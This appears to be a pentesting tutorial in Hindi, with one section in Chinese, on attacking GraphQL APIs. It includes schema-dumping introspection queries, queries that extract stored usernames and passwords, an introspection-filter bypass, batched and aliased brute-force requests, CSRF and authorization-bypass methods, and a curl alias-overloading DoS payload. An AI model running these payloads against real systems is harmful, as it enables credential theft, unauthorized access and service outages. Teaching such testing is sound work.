# GraphQL

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## Introduction

GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **हाइलाइट** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करता है।

## GraphQL और सुरक्षा

नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि **GraphQL में डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं है**। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।

### डायरेक्टरी ब्रूट फोर्स हमले और GraphQL

खुले GraphQL उदाहरणों की पहचान करने के लिए, डायरेक्टरी ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं:

- `/graphql`
- `/graphiql`
- `/graphql.php`
- `/graphql/console`
- `/api`
- `/api/graphql`
- `/graphql/api`
- `/graphql/graphql`

खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इसे इस प्रकार से सुविधाजनक बनाती है कि यह एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि पर देखें: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)

### फिंगरप्रिंट

उपकरण [**graphw00f**](https://github.com/dolevf/graphw00f) यह पहचानने में सक्षम है कि सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है और फिर सुरक्षा ऑडिटर के लिए कुछ सहायक जानकारी प्रिंट करता है।

#### यूनिवर्सल क्वेरीज़ <a href="#universal-queries" id="universal-queries"></a>

यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी की गई वस्तु के प्रकार को प्रकट करती है।
```javascript
query{__typename}
```
### बेसिक एन्यूमरेशन

Graphql आमतौर पर **GET**, **POST** (x-www-form-urlencoded) और **POST**(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके।

#### इंट्रोस्पेक्शन

स्कीमा जानकारी खोजने के लिए इंट्रोस्पेक्शन का उपयोग करने के लिए, `__schema` फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।
```bash
query={__schema{types{name,fields{name}}}}
```
इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग किए जा रहे हैं:

![](<../../images/image (1036).png>)
```bash
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
```
इस क्वेरी के साथ आप सभी प्रकार, इसके फ़ील्ड और इसके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के लिए जानने में बहुत उपयोगी होगा।

![](<../../images/image (950).png>)

**त्रुटियाँ**

यह जानना दिलचस्प है कि क्या **त्रुटियाँ** **दिखाई** जाएँगी क्योंकि वे उपयोगी **जानकारी** में योगदान करेंगी।
```
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
```
![](<../../images/image (416).png>)

**इंट्रोस्पेक्शन के माध्यम से डेटाबेस स्कीमा की गणना करें**

> [!NOTE]
> यदि इंट्रोस्पेक्शन सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से `onOperation`, `onFragment`, और `onField` निर्देशों को हटाने का प्रयास करें।
```bash
#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
```
इनलाइन इंट्रोस्पेक्शन क्वेरी:
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
अंतिम कोड लाइन एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी।

![](<../../images/image (363).png>)

यदि इंट्रोस्पेक्शन सक्षम है, तो आप [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) का उपयोग करके GUI में सभी विकल्प देख सकते हैं।

### क्वेरी करना

अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए **कुछ मान निकालने** की कोशिश करते हैं।

इंट्रोस्पेक्शन में आप **यह देख सकते हैं कि आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं** (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा जाता है और "_Query_" ऑब्जेक्ट के फ़ील्ड में से एक "_flags_" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।

![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)

ध्यान दें कि क्वेरी का प्रकार "_flags_" "_Flags_" है, और यह ऑब्जेक्ट नीचे परिभाषित है:

![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)

आप देख सकते हैं कि "_Flags_" ऑब्जेक्ट **name** और **value** से मिलकर बने हैं। फिर आप क्वेरी के साथ फ्लैग के सभी नाम और मान प्राप्त कर सकते हैं:
```javascript
query={flags{name, value}}
```
ध्यान दें कि यदि **क्वेरी करने के लिए ऑब्जेक्ट** एक **प्राइमिटिव** **टाइप** है जैसे **स्ट्रिंग** जैसा कि निम्नलिखित उदाहरण में है

![](<../../images/image (958).png>)

आप इसे बस इस तरह क्वेरी कर सकते हैं:
```javascript
query = { hiddenFlags }
```
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:

![](<../../images/image (880).png>)

हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह **त्रुटि** मिलती है:

![](<../../images/image (1042).png>)

ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा जो _**Int**_ प्रकार का है।\
खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`

यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।

तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\
`query={user(uid:1){user,password}}`

![](<../../images/image (90).png>)

ध्यान दें कि मैंने **खोजा** कि मैं **पैरामीटर** "_**user**_" और "_**password**_" के लिए पूछ सकता हूँ क्योंकि यदि मैं कुछ ऐसा देखने की कोशिश करता हूँ जो मौजूद नहीं है (`query={user(uid:1){noExists}}`) तो मुझे यह त्रुटि मिलती है:

![](<../../images/image (707).png>)

और **enumeration phase** के दौरान मैंने खोजा कि "_**dbuser**_" ऑब्जेक्ट के पास "_**user**_" और "_**password**_" के रूप में फ़ील्ड थे।

**क्वेरी स्ट्रिंग डंप ट्रिक (धन्यवाद @BinaryShadow\_)**

यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए **खोजते हैं** तो यह **सभी डेटा डंप करेगा**। (_ध्यान दें कि यह उदाहरण ट्यूटोरियल के उदाहरण से संबंधित नहीं है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को "**description**" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं_)।

### खोज

इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी होना दर्शाती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।

आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
```javascript
{
searchPerson(name: "John Doe") {
email
}
}
```
आप व्यक्तियों को नाम से खोज सकते हैं और उनकी सब्सक्राइब की गई फ़िल्में प्राप्त कर सकते हैं:
```javascript
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
ध्यान दें कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए कैसे संकेत दिया गया है।

आप **एक ही समय में कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
```
या यहां तक कि **उपनामों का उपयोग करके कई विभिन्न वस्तुओं के संबंध**:
```javascript
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
```
### Mutations

**म्यूटेशन का उपयोग सर्वर-साइड में परिवर्तन करने के लिए किया जाता है।**

**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित चित्र में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"):

![](<../../images/Screenshot from 2021-03-13 18-26-27 (1).png>)

इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और साथ ही फिल्मों का भी स्वामित्व रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है।

डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
```
**नोट करें कि क्वेरी में डेटा के दोनों मान और प्रकार कैसे इंगित किए गए हैं।**

इसके अतिरिक्त, डेटाबेस एक **म्यूटेशन** ऑपरेशन का समर्थन करता है, जिसका नाम `addPerson` है, जो **व्यक्तियों** के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा **दोस्तों** और **फिल्मों** के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
```javascript
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
```
### Directive Overloading

जैसा कि [**इस रिपोर्ट में वर्णित एक कमजोरियों में**](https://www.landh.tech/blog/20240304-google-hack-50000/) में समझाया गया है, एक निर्देश ओवरलोडिंग का मतलब है कि एक निर्देश को लाखों बार कॉल करना ताकि सर्वर ऑपरेशनों को बर्बाद करे जब तक कि इसे DoS करना संभव न हो।

### Batching brute-force in 1 API request

यह जानकारी [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) से ली गई थी।\
GraphQL API के माध्यम से **विभिन्न क्रेडेंशियल्स के साथ कई क्वेरीज़ को एक साथ भेजकर** प्रमाणीकरण करना। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब HTTP अनुरोध प्रति एक से अधिक लॉगिन/पासवर्ड जोड़ी भेजना संभव है क्योंकि GraphQL बैचिंग सुविधा है। यह दृष्टिकोण बाहरी दर निगरानी अनुप्रयोगों को यह सोचने के लिए धोखा देगा कि सब कुछ ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड अनुमान लगाने की कोशिश नहीं कर रहा है।

नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, जिसमें **एक समय में 3 विभिन्न ईमेल/पासवर्ड जोड़ी** हैं। स्पष्ट रूप से, एक ही अनुरोध में हजारों भेजना संभव है:

![](<../../images/image (1081).png>)

जैसा कि हम प्रतिक्रिया स्क्रीनशॉट से देख सकते हैं, पहले और तीसरे अनुरोध ने _null_ लौटाया और _error_ अनुभाग में संबंधित जानकारी को दर्शाया। **दूसरी म्यूटेशन में सही प्रमाणीकरण** डेटा था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन है।

![](<../../images/image (119) (1).png>)

## GraphQL Without Introspection

越来越多的 **graphql 端点正在禁用 introspection**。然而，当收到意外请求时，graphql 抛出的错误足以让像 [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) 这样的工具重建大部分架构。

此外，Burp Suite 扩展 [**GraphQuail**](https://github.com/forcesunseen/graphquail) 扩展 **观察通过 Burp 的 GraphQL API 请求** 并 **构建** 一个内部 GraphQL **架构**，每当它看到新的查询时。它还可以为 GraphiQL 和 Voyager 暴露架构。当它收到 introspection 查询时，扩展返回一个假响应。因此，GraphQuail 显示所有可用于 API 的查询、参数和字段。有关更多信息，请 [**查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。

一个不错的 **wordlist** 来发现 [**GraphQL 实体可以在这里找到**](https://github.com/Escape-Technologies/graphql-wordlist?)。

### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>

API 中对 introspection 查询的限制可以通过在 `__schema` 关键字后插入 **特殊字符** 来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽，这些模式旨在通过关注 `__schema` 关键字来阻止 introspection。通过添加像 **空格、新行和逗号** 这样的字符，GraphQL 会忽略这些字符，但可能没有在正则表达式中考虑到，从而可以规避限制。例如，在 `__schema` 后面带有换行符的 introspection 查询可能会绕过此类防御：
```bash
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
```
यदि असफल रहें, तो वैकल्पिक अनुरोध विधियों पर विचार करें, जैसे **GET अनुरोध** या **POST `x-www-form-urlencoded` के साथ**, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं।

### वेबसॉकेट्स का प्रयास करें

जैसा कि [**इस वार्ता**](https://www.youtube.com/watch?v=tIo_t5uUK50) में उल्लेख किया गया है, जांचें कि क्या WebSockets के माध्यम से graphQL से कनेक्ट करना संभव हो सकता है क्योंकि यह आपको संभावित WAF को बायपास करने की अनुमति दे सकता है और वेबसॉकेट संचार को graphQL के स्कीमा को लीक करने दे सकता है:
```javascript
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}

var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
```
### **खुली GraphQL संरचनाओं का पता लगाना**

जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड क्वेरीज़ के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। ये क्वेरीज़ डेवलपर टूल्स में `Sources` टैब का उपयोग करके पाई जा सकती हैं, जो API के स्कीमा के बारे में जानकारी प्रदान करती हैं और संभावित रूप से **खुली संवेदनशील क्वेरीज़** को उजागर करती हैं। डेवलपर टूल्स में खोजने के लिए कमांड हैं:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## CSRF in GraphQL

यदि आप नहीं जानते कि CSRF क्या है, तो निम्नलिखित पृष्ठ पढ़ें:

{{#ref}}
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}

वहाँ आप कई GraphQL एंडपॉइंट्स पाएंगे **जो CSRF टोकन के बिना कॉन्फ़िगर किए गए हैं।**

ध्यान दें कि GraphQL अनुरोध आमतौर पर POST अनुरोधों के माध्यम से भेजे जाते हैं, जिसमें Content-Type **`application/json`** होता है।
```javascript
{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
```
हालांकि, अधिकांश GraphQL एंडपॉइंट भी **`form-urlencoded` POST अनुरोधों** का समर्थन करते हैं:
```javascript
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
इसलिए, जैसे कि पिछले CSRF अनुरोध बिना **preflight requests** के भेजे जाते हैं, यह संभव है कि **CSRF का दुरुपयोग करके** GraphQL में **परिवर्तन** किए जा सकें।

हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी।

ध्यान दें कि आमतौर पर **query** **request** को भी **GET** **request** के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।

इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमले** का दुरुपयोग करके GraphQL अंत बिंदु से उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके सामग्री को निकालना संभव हो सकता है।

अधिक जानकारी के लिए **यहां** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।

## GraphQL में क्रॉस-साइट वेब सॉकेट हाइजैकिंग

GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, **GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग करने के लिए क्रॉस-साइट वेब सॉकेट हाइजैकिंग करना भी संभव है** और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर करना।

अधिक जानकारी के लिए देखें:

{{#ref}}
../../pentesting-web/websocket-attacks.md
{{#endref}}

## GraphQL में प्राधिकरण

अंत बिंदु पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता की प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।

क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण [leaked](https://hackerone.com/reports/792927) हो सकते हैं।

म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।
```javascript
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
```
### GraphQL में प्राधिकरण को बायपास करना

[Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) एक कमजोर प्रमाणीकरण प्रणाली को बायपास कर सकता है।

नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसे केवल इसके साथ जुड़े forgotPassword क्वेरी को निष्पादित करना चाहिए। इसे अंत में एक क्वेरी जोड़कर बायपास किया जा सकता है, इस मामले में हम "register" और एक उपयोगकर्ता चर जोड़ते हैं ताकि प्रणाली एक नए उपयोगकर्ता के रूप में पंजीकरण कर सके।

<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>

## GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना

GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय **गुणों के नाम को स्पष्ट रूप से** निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर **एक ही प्रकार** की वस्तुओं के **कई उदाहरणों** को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।

GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)।

हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा संरक्षित किया गया है जो HTTP अनुरोधों की **संख्या** को सीमित करके ब्रूट फोर्स हमलों को रोकने के लिए डिज़ाइन किए गए हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।

नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि कैसे उपनामित क्वेरी का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
```
## DoS in GraphQL

### Alias Overloading

**Alias Overloading** एक GraphQL कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे **Denial of Service (DoS)** हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (`expensiveField`) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को समाप्त कर सकता है:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
इससे निपटने के लिए, संसाधन दुरुपयोग को रोकने के लिए उपनाम गणना सीमाएँ, क्वेरी जटिलता विश्लेषण, या दर सीमित करना लागू करें।

### **एरे-आधारित क्वेरी बैचिंग**

